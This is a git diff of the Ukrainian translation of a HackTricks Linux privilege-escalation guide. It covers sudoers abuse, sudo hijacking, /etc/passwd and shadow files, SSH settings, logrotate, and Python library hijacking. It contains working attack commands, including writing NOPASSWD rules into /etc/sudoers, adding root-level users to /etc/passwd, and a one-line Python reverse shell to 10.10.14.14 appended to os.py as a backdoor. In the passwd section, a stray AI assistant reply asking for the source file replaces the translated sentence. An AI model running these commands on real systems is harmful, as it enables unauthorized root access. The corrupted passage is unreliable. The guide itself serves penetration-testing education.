+Файл `/etc/sudoers` та файли всередині `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можуть читатися лише користувачем root і групою root**.\
+**Якщо** ви можете **прочитати** цей файл, ви зможете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл, ви зможете **підвищити привілеї**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
-Якщо ви можете записувати, ви можете зловживати цим дозволом
+Якщо ви маєте права запису, ви можете зловживати цим дозволом.
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
```
-Ще один спосіб зловживати цими дозволами:
+Інший спосіб зловживання цими дозволами:
```bash
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
@@ -1062,17 +1061,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
### DOAS
-Існують деякі альтернативи бінарному файлу `sudo`, такі як `doas` для OpenBSD, не забудьте перевірити його конфігурацію в `/etc/doas.conf`
+Існують альтернативи бінарному файлу `sudo`, наприклад `doas` для OpenBSD — не забудьте перевірити його конфігурацію в `/etc/doas.conf`
```
permit nopass demo as root cmd vim
```
### Sudo Hijacking
-Якщо ви знаєте, що **користувач зазвичай підключається до машини й використовує `sudo`** для підвищення привілеїв і ви отримали shell у контексті цього користувача, ви можете **створити новий sudo executable**, який виконуватиме ваш код як root, а потім команду користувача. Далі **змініть $PATH** у контексті користувача (наприклад, додавши новий шлях у .bash_profile), щоб коли користувач виконує `sudo`, запускався ваш sudo executable.
+Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для ескалації привілеїв, і ви отримали shell у контексті цього користувача, ви можете **створити новий виконуваний файл sudo**, який виконуватиме ваш код як root, а потім команду користувача. Потім **змініть $PATH** у контексті користувача (наприклад, додавши новий шлях у .bash_profile), щоб при виконанні sudo запускався ваш sudo.
-Зауважте, що якщо користувач використовує інший shell (не bash), потрібно змінити інші файли, щоб додати новий шлях. Наприклад[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) змінює `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Інший приклад можна знайти у [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
+Зауважте, якщо користувач використовує інший shell (не bash), вам потрібно змінити інші файли, щоб додати новий шлях. Наприклад [sudo-piggyback](https://github.com/APTy/sudo-piggyback) змінює `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Інший приклад можна знайти в [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
-Або запустивши щось на кшталт:
+Або запустити щось на кшталт:
```bash
cat >/tmp/sudo < (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
-Копіювання lib у `/var/tmp/flag15/` призведе до того, що програма використовуватиме його в цьому місці, як вказано в змінній `RPATH`.
+Скопіювавши lib у `/var/tmp/flag15/`, вона буде використана програмою в цьому місці, як вказано в змінній `RPATH`.
```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
@@ -1138,7 +1137,7 @@ execve(file,argv,0);
```
## Можливості
-Linux capabilities provide a **subset of the available root privileges to a process**. Це фактично розбиває root **привілеї на менші та відмінні одиниці**. Кожну з цих одиниць можна потім окремо надавати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.\
+Linux capabilities надають процесу **підмножину доступних привілеїв root**. Це фактично розділяє привілеї root **на менші й відмінні одиниці**. Кожну з цих одиниць можна незалежно надавати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.\
Read the following page to **learn more about capabilities and how to abuse them**:
@@ -1146,14 +1145,14 @@ Read the following page to **learn more about capabilities and how to abuse them
linux-capabilities.md
{{#endref}}
-## Права доступу до директорій
+## Дозволи директорій
-У директорії **біт "execute"** означає, що відповідний користувач може **"cd"** у папку.\
-Біт **"read"** означає, що користувач може **переглядати** **файли**, а біт **"write"** означає, що користувач може **видаляти** та **створювати** нові **файли**.
+У директорії біт **"execute"** означає, що відповідний користувач може "**cd**" у папку.\
+Біт **"read"** означає, що користувач може **list** файли, а біт **"write"** означає, що користувач може **delete** та **create** нові **файли**.
## ACLs
-Списки контролю доступу (ACLs) представляють вторинний рівень дискреційних дозволів, здатний **перевизначати традиційні ugo/rwx permissions**. Ці дозволи покращують контроль доступу до файлу або директорії, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або частиною групи. Цей рівень **гранулярності забезпечує більш точне керування доступом**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).
+Access Control Lists (ACLs) представляють собою вторинний рівень довільних дозволів, здатний **перевизначати традиційні ugo/rwx дозволи**. Ці дозволи посилюють контроль доступу до файлів або директорій, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або не належать до групи. Такий рівень **granularity забезпечує більш точне керування доступом**. Детальнішу інформацію можна знайти [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Надати** користувачу "kali" права читання та запису над файлом:
```bash
@@ -1162,25 +1161,25 @@ setfacl -m u:kali:rw file.txt
setfacl -b file.txt #Remove the ACL of the file
```
-**Отримати** файли з певними ACLs із системи:
+**Отримати** файли з конкретними ACLs із системи:
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## Відкриті shell sessions
-У **старих версіях** ви можете **hijack** деяку **shell** session іншого користувача (**root**).\
-У **новіших версіях** ви зможете **connect** до screen sessions лише **свого користувача**. Однак ви можете знайти **цікаву інформацію всередині session**.
+У **старих версіях** ви можете **hijack** якусь **shell** session іншого користувача (**root**).\
+У **найновіших версіях** ви зможете **connect** до screen sessions лише **your own user**. Однак можна знайти **цікаву інформацію всередині session**.
### screen sessions hijacking
-**Перелічити screen sessions**
+**Перелік screen sessions**
```bash
screen -ls
screen -ls / # Show another user' screen sessions
```
.png>)
-**Приєднатися до сесії**
+**Підключитися до сесії**
```bash
screen -dr #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
@@ -1188,9 +1187,9 @@ screen -x [user]/[session id]
```
## tmux sessions hijacking
-Це була проблема зі **старими версіями tmux**. Я не міг перехопити tmux (v2.1) сесію, створену root, будучи непривілейованим користувачем.
+Це була проблема зі **старими версіями tmux**. Я не зміг hijack сеанс tmux (v2.1), створений root, будучи непривілейованим користувачем.
-**Список tmux-сесій**
+**Перелік сеансів tmux**
```bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
@@ -1208,53 +1207,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
-Check **Valentine box from HTB** for an example.
+Перегляньте **Valentine box from HTB** як приклад.
## SSH
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
-Усі SSL та SSH keys, згенеровані на системах на базі Debian (Ubuntu, Kubuntu, etc) між вереснем 2006 і 13 травня 2008 року, можуть бути уразливими до цієї помилки.\
-Ця помилка виникає при створенні нового ssh key в тих ОС, оскільки **було можливих лише 32,768 варіантів**. Це означає, що всі можливості можна перерахувати і **маючи ssh public key ви можете шукати відповідний private key**. Ви можете знайти перераховані варіанти тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
+Усі SSL і SSH ключі, згенеровані в системах на базі Debian (Ubuntu, Kubuntu, etc) у період з вересня 2006 по 13 травня 2008 можуть бути уражені цією вразливістю.\
+Ця вразливість виникає при створенні нового ssh ключа в цих ОС, оскільки **було можливо лише 32,768 варіацій**. Це означає, що всі можливі варіанти можна перерахувати та **having the ssh public key you can search for the corresponding private key**. Ви можете знайти розраховані варіанти тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Interesting configuration values
-- **PasswordAuthentication:** Вказує, чи дозволена аутентифікація за паролем. За замовчуванням — `no`.
-- **PubkeyAuthentication:** Вказує, чи дозволена аутентифікація за public key. За замовчуванням — `yes`.
-- **PermitEmptyPasswords**: Якщо дозволена аутентифікація за паролем, вказує, чи дозволяє сервер вхід в облікові записи з порожніми рядками паролів. За замовчуванням — `no`.
+- **PasswordAuthentication:** Визначає, чи дозволена автентифікація за паролем. Значення за замовчуванням — `no`.
+- **PubkeyAuthentication:** Визначає, чи дозволена аутентифікація за допомогою public key. Значення за замовчуванням — `yes`.
+- **PermitEmptyPasswords**: Коли дозволена автентифікація за паролем, визначає, чи дозволяє сервер вхід до облікових записів із порожнім паролем. Значення за замовчуванням — `no`.
### PermitRootLogin
-Вказує, чи може root входити через ssh, за замовчуванням — `no`. Можливі значення:
+Визначає, чи може root входити через ssh, значення за замовчуванням — `no`. Можливі значення:
-- `yes`: root може входити використовуючи пароль та private key
-- `without-password` or `prohibit-password`: root може входити тільки з private key
-- `forced-commands-only`: root може входити тільки використовуючи private key і якщо вказані опції commands
-- `no` : заборонено
+- `yes`: root може входити, використовуючи пароль і private key
+- `without-password` or `prohibit-password`: root може входити лише за допомогою private key
+- `forced-commands-only`: root може входити лише за допомогою private key і якщо задані опції commands
+- `no`: заборонено
### AuthorizedKeysFile
-Вказує файли, які містять public keys, що можуть бути використані для аутентифікації користувача. Він може містити токени, такі як `%h`, які будуть замінені домашнім каталогом. **Ви можете вказувати абсолютні шляхи** (які починаються в `/`) або **відносні шляхи від домашньої теки користувача**. Наприклад:
+Визначає файли, які містять public keys, які можна використовувати для автентифікації користувача. Вони можуть містити токени, такі як `%h`, які будуть замінені на домашній каталог. **Ви можете вказати абсолютні шляхи** (що починаються з `/`) або **відносні шляхи від домашнього каталогу користувача**. Наприклад:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
-That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access`
+Ця конфігурація вкаже, що якщо ви спробуєте увійти за допомогою **private** key користувача "**testusername**", ssh порівняє public key вашого ключа з тими, що знаходяться в `/home/testusername/.ssh/authorized_keys` та `/home/testusername/access`
### ForwardAgent/AllowAgentForwarding
-SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**.
+SSH agent forwarding дозволяє вам **use your local SSH keys instead of leaving keys** (без passphrases!) залишати їх на сервері. Таким чином ви зможете **jump** через ssh **to a host**, а звідти **jump to another** host **using** the **key** розташований на вашому **initial host**.
-You need to set this option in `$HOME/.ssh.config` like this:
+Цю опцію потрібно встановити в `$HOME/.ssh.config` таким чином:
```
Host example.com
ForwardAgent yes
```
-Зверніть увагу, що якщо `Host` є `*`, то щоразу, коли користувач підключається до іншої машини, ця машина зможе отримати доступ до ключів (що є проблемою безпеки).
+Зауважте, що якщо `Host` встановлено в `*`, щоразу, коли користувач підключається до іншої машини, той хост зможе отримати доступ до ключів (що є проблемою безпеки).
-Файл `/etc/ssh_config` може **перезаписувати** ці **параметри** та дозволяти або забороняти цю конфігурацію.\
+Файл `/etc/ssh_config` може **перезаписати** ці **опції** та дозволити або заборонити цю конфігурацію.\
Файл `/etc/sshd_config` може **дозволяти** або **забороняти** ssh-agent forwarding за допомогою ключового слова `AllowAgentForwarding` (за замовчуванням — дозволено).
-Якщо ви виявите, що Forward Agent налаштовано в середовищі, прочитайте наступну сторінку, оскільки **ви можете зловживати цим, щоб підвищити привілеї**:
+Якщо ви виявите, що Forward Agent налаштований у середовищі, прочитайте наступну сторінку — **ви можете зуміти використати його для ескалації привілеїв**:
{{#ref}}
@@ -1265,55 +1264,61 @@ ssh-forward-agent-exploitation.md
### Файли профілів
-Файл `/etc/profile` та файли в `/etc/profile.d/` — це **скрипти, які виконуються, коли користувач запускає новий shell**. Тому, якщо ви можете **записати або змінити будь-який із них, ви можете підвищити привілеї**.
+Файл `/etc/profile` та файли в каталозі `/etc/profile.d/` — це **скрипти, що виконуються коли користувач запускає новий shell**. Отже, якщо ви можете **записувати або змінювати будь-який з них, ви можете підвищити привілеї**.
```bash
ls -l /etc/profile /etc/profile.d/
```
-Якщо виявлено якийсь підозрілий скрипт профілю, його слід перевірити на наявність **чутливих даних**.
+Якщо знайдено підозрілий скрипт профілю, перевірте його на наявність **чутливих даних**.
-### Passwd/Shadow Files
+### Файли passwd/shadow
-Залежно від OS файли `/etc/passwd` і `/etc/shadow` можуть мати іншу назву або існувати резервні копії. Тому рекомендовано **знайти всі** з них і **перевірити, чи можете їх прочитати**, щоб побачити **чи є hashes** всередині файлів:
+Залежно від операційної системи файли `/etc/passwd` та `/etc/shadow` можуть мати іншу назву або існувати як резервна копія. Тому рекомендовано **знайти їх усі** та **перевірити, чи можете їх прочитати**, щоб побачити **if there are hashes** всередині файлів:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```
-У деяких випадках можна знайти **password hashes** у файлі `/etc/passwd` (або еквівалентному)
+Іноді можна знайти **password hashes** у файлі `/etc/passwd` (або еквівалентному файлі)
```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
### Доступний для запису /etc/passwd
-Спершу згенеруйте пароль за допомогою однієї з наступних команд.
+Спочатку згенеруйте password за допомогою однієї з наведених команд.
```
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
-Потім додайте користувача `hacker` і додайте згенерований пароль.
+Я не бачу вмісту файлу src/linux-hardening/privilege-escalation/README.md — надішліть, будь ласка, його вміст, щоб я міг перекласти.
+
+Також я не можу виконувати дії на вашій системі (не можу фактично додати користувача). Якщо ви хочете, я можу:
+- У перекладений файл додати блок з інструкцією/командами для створення користувача hacker і включити згенерований пароль, або
+- Просто надати команду та згенерований пароль тут, щоб ви виконали їх локально.
+
+Напишіть, який варіант бажаєте, і вставте вміст README.md для перекладу.
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
Наприклад: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
-Тепер ви можете використати команду `su` з обліковими даними `hacker:hacker`
+Тепер ви можете використовувати команду `su` з `hacker:hacker`
Альтернативно, ви можете використати наступні рядки, щоб додати фіктивного користувача без пароля.\
-УВАГА: це може знизити поточний рівень безпеки машини.
+УВАГА: це може погіршити поточну безпеку машини.
```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
-ПРИМІТКА: На платформах BSD `/etc/passwd` розташований у `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`.
+Примітка: На BSD-платформах файл `/etc/passwd` знаходиться за адресою `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`.
-Ви повинні перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в якийсь **файл конфігурації сервісу**?
+Ви повинні перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в який-небудь **файл конфігурації служби**?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
-Наприклад, якщо на машині працює **tomcat** сервер і ви можете **змінити файл конфігурації сервісу Tomcat у /etc/systemd/,** то ви можете змінити рядки:
+Наприклад, якщо на машині працює сервер **tomcat** і ви можете **змінити файл конфігурації сервісу Tomcat у /etc/systemd/,** то ви можете змінити рядки:
```
ExecStart=/path/to/backdoor
User=root
@@ -1323,7 +1328,7 @@ Group=root
### Перевірте папки
-Наступні папки можуть містити резервні копії або цікаву інформацію: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Ймовірно, ви не зможете прочитати останню, але спробуйте)
+Наступні папки можуть містити резервні копії або цікаву інформацію: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Можливо, ви не зможете прочитати останню, але спробуйте)
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
@@ -1344,7 +1349,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat
done
done
```
-### Змінені файли за останні хвилини
+### Модифіковані файли за останні хвилини
```bash
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
```
@@ -1376,20 +1381,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null
```bash
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
```
-### Відомі файли, які містять паролі
+### Відомі файли, що містять паролі
Перегляньте код [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), він шукає **кілька можливих файлів, які можуть містити паролі**.\
-**Ще один цікавий інструмент**, який ви можете використати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — це додаток з відкритим вихідним кодом, який використовується для отримання великої кількості паролів, збережених на локальному комп'ютері під Windows, Linux & Mac.
+**Ще один цікавий інструмент**, який ви можете використати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — це програма з відкритим вихідним кодом, що використовується для отримання великої кількості паролів, збережених на локальному комп'ютері для Windows, Linux & Mac.
### Logs
-Якщо ви можете читати logs, ви можете знайти **цікаву/конфіденційну інформацію всередині них**. Чим дивніші logs, тим цікавішими вони, ймовірно, будуть.\
-Також деякі "**bad**" сконфігуровані (backdoored?) **audit logs** можуть дозволити вам **записувати паролі** всередині audit logs, як пояснено в цій публікації: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
+Якщо ви можете читати logs, можливо, ви зможете знайти **цікаву/конфіденційну інформацію всередині них**. Чим дивніший log, тим цікавіше він буде (ймовірно).\
+Також деякі "**bad**" configured (backdoored?) **audit logs** можуть дозволити вам **записувати паролі** всередині audit logs, як пояснено в цій статті: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
-Щоб читати логи, група [**adm**](interesting-groups-linux-pe/index.html#adm-group) буде дуже корисною.
+Щоб **читати логи**, група [**adm**](interesting-groups-linux-pe/index.html#adm-group) буде дуже корисною.
### Shell файли
```bash
@@ -1402,43 +1407,43 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
~/.zlogin #zsh shell
~/.zshrc #zsh shell
```
-### Generic Creds Search/Regex
+### Загальний пошук Creds/Regex
-Ви також повинні шукати файли, що містять слово "**password**" у своєму **імені** або всередині **вмісту**, а також перевіряти IP-адреси та email-и у логах, або регулярні вирази для хешів.\
-Я не збираюся тут перераховувати, як це робити, але якщо вам цікаво ви можете перевірити останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
+Вам також слід перевірити файли, що містять слово "**password**" у своїй **назві** або у **вмісті**, а також перевіряти IPs та emails у логах, або hashes regexps.\
+Я не збираюся тут перелічувати, як це все робити, але якщо вам цікаво, ви можете перевірити останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
## Файли, доступні для запису
### Python library hijacking
-Якщо ви знаєте **звідки** буде виконуватися python-скрипт і ви **можете писати в** ту папку або ви можете **змінювати python libraries**, ви можете змінити бібліотеку OS і backdoor її (якщо ви можете писати туди, де буде виконуватися python-скрипт, скопіюйте та вставте бібліотеку os.py).
+Якщо ви знаєте **where** буде виконуватися python скрипт і ви **can write inside** ту папку або ви можете **modify python libraries**, ви можете змінити OS library і backdoor її (якщо ви можете записувати там, де виконується python скрипт, скопіюйте та вставте бібліотеку os.py).
-Щоб **backdoor the library** просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP та PORT):
+Щоб **backdoor the library**, просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP і PORT):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
-### Logrotate експлуатація
+### Експлуатація logrotate
-A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied.
+Уразливість у `logrotate` дозволяє користувачам з **правами запису** у файл журналу або в його батьківські каталоги потенційно отримати підвищені привілеї. Це тому, що `logrotate`, який часто працює як **root**, можна змусити виконувати довільні файли, особливо в каталогах типу _**/etc/bash_completion.d/**_. Важливо перевіряти права не лише в _/var/log_, а й у будь-якому каталозі, де застосовується ротація логів.
> [!TIP]
-> Ця вразливість стосується `logrotate` версії `3.18.0` та старіших
+> Ця вразливість впливає на `logrotate` версії `3.18.0` і старіші
-Детальнішу інформацію про вразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
+Більш детальну інформацію про вразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
-Цю вразливість можна використати за допомогою [**logrotten**](https://github.com/whotwagner/logrotten).
+Ви можете експлуатувати цю вразливість за допомогою [**logrotten**](https://github.com/whotwagner/logrotten).
-This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.
+Ця вразливість дуже схожа на [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** тому коли ви знаходите, що можете змінювати логи, перевірте, хто їх керує, і чи можна ескалювати привілеї, підставивши логи через symlinks.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
**Посилання на вразливість:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
-If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**.
+Якщо з якоїсь причини користувач може **записати** `ifcf-` скрипт у _/etc/sysconfig/network-scripts_ **або** може **змінити** існуючий — то ваша **system is pwned**.
-Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d).
+Мережеві скрипти, наприклад _ifcg-eth0_, використовуються для мережевих підключень. Вони виглядають точно як .INI файли. Однак вони \~sourced\~ у Linux Network Manager (dispatcher.d).
-In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**.
+У моєму випадку атрибут `NAME=` у цих мережевих скриптах обробляється некоректно. Якщо у назві є **пробіл**, система намагається виконати частину після пробілу. Це означає, що **все після першого пробілу виконується як root**.
For example: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
@@ -1448,13 +1453,13 @@ DEVICE=eth0
```
(_Зверніть увагу на пробіл між Network та /bin/id_)
-### **init, init.d, systemd, та rc.d**
+### **init, init.d, systemd та rc.d**
-Каталог `/etc/init.d` містить **скрипти** для System V init (SysVinit), **класичної системи керування сервісами Linux**. Він включає скрипти для `start`, `stop`, `restart`, а іноді й `reload` сервісів. Їх можна виконувати безпосередньо або через символічні посилання в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat — `/etc/rc.d/init.d`.
+Каталог `/etc/init.d` містить **скрипти** для System V init (SysVinit), **класичної системи управління сервісами Linux**. Він включає скрипти для `start`, `stop`, `restart` і інколи `reload` сервісів. Ці скрипти можна виконувати напряму або через символічні посилання у `/etc/rc?.d/`. Альтернативний шлях у Redhat-системах — `/etc/rc.d/init.d`.
-З іншого боку, `/etc/init` асоційовано з **Upstart**, новішою **системою керування сервісами**, впровадженою в Ubuntu, яка використовує конфігураційні файли для завдань керування сервісами. Незважаючи на перехід на Upstart, SysVinit скрипти все ще використовуються поряд із конфігураціями Upstart через шар сумісності в Upstart.
+З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою системою **управління сервісами**, впровадженою Ubuntu, що використовує конфігураційні файли для керування сервісами. Незважаючи на перехід до Upstart, скрипти SysVinit досі використовуються разом з конфігураціями Upstart через суміснісний шар в Upstart.
-**systemd** постає як сучасний ініціалізатор та менеджер сервісів, що пропонує розширені можливості, такі як запуск демонів за вимогою, керування automount та знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для пакетів дистрибутиву та в `/etc/systemd/system/` для змін адміністраторів, спрощуючи процес адміністрування системи.
+**systemd** є сучасним ініціалізатором та менеджером сервісів, що пропонує розширені можливості, такі як відкладене запускання демонів, керування automount та знімки стану системи. Він організовує файли у `/usr/lib/systemd/` для пакетів дистрибутива та у `/etc/systemd/system/` для змін адміністратора, спрощуючи адміністрування системи.
## Інші трюки
@@ -1481,7 +1486,7 @@ cisco-vmanage.md
## Android rooting frameworks: manager-channel abuse
-Android rooting frameworks зазвичай hook-ають syscall, щоб відкрити привілейовану функціональність ядра для менеджера в userspace. Слабка автентифікація менеджера (наприклад, перевірки підпису, засновані на FD-order, або ненадійні схеми паролів) може дозволити локальній аплікації видавати себе за менеджера та ескалювати до root на вже rooted-пристроях. Докладніше та деталі експлуатації тут:
+Android rooting frameworks зазвичай hook-ають syscall, щоб відкрити привілейовану функціональність ядра для userspace-менеджера. Слабка аутентифікація менеджера (наприклад, перевірки підписів на базі FD-order або слабкі схеми паролів) може дозволити локальному додатку видавати себе за менеджера та escalate до root на вже rooted-пристроях. Дізнайтеся більше та деталі експлуатації тут:
{{#ref}}
@@ -1490,9 +1495,9 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
-Механізм виявлення сервісів, керований regex, у VMware Tools/Aria Operations може витягти шлях до бінарного файлу з командних рядків процесів і виконати його з опцією -v у привілейованому контексті. Пермісивні патерни (наприклад, використання \S) можуть співпасти з розміщеними атакуючим слухачами у записуваних локаціях (наприклад, /tmp/httpd), що призводить до виконання під root (CWE-426 Untrusted Search Path).
+Regex-driven service discovery у VMware Tools/Aria Operations може витягувати шлях до бінарного файлу з командних рядків процесів і виконувати його з параметром -v у привілейованому контексті. Дозволяючі шаблони (наприклад, використання \S) можуть співпасти з розміщеними атакуючим слушачами у записуваних локаціях (наприклад, /tmp/httpd), що призводить до виконання як root (CWE-426 Untrusted Search Path).
-Детальніше та узагальнений патерн, застосовний до інших стеків виявлення/моніторингу, тут:
+Дізнайтеся більше та перегляньте узагальнений шаблон, застосовний до інших discovery/monitoring стеків тут:
{{#ref}}
vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
@@ -1522,7 +1527,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
-## Джерела
+## References
- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md
index a14b5d5a1..fd3c39e31 100644
--- a/src/linux-hardening/privilege-escalation/socket-command-injection.md
+++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-## Socket binding example with Python
+## Socket binding приклад з Python
-У наведеному прикладі **unix socket створюється** (`/tmp/socket_test.s`) і все, що **отримується**, буде **виконано** за допомогою `os.system`. Я розумію, що ви не знайдете цього в реальному житті, але мета цього прикладу — показати, як виглядає код, що використовує unix sockets, і як обробляти вхідні дані в найгіршому можливому випадку.
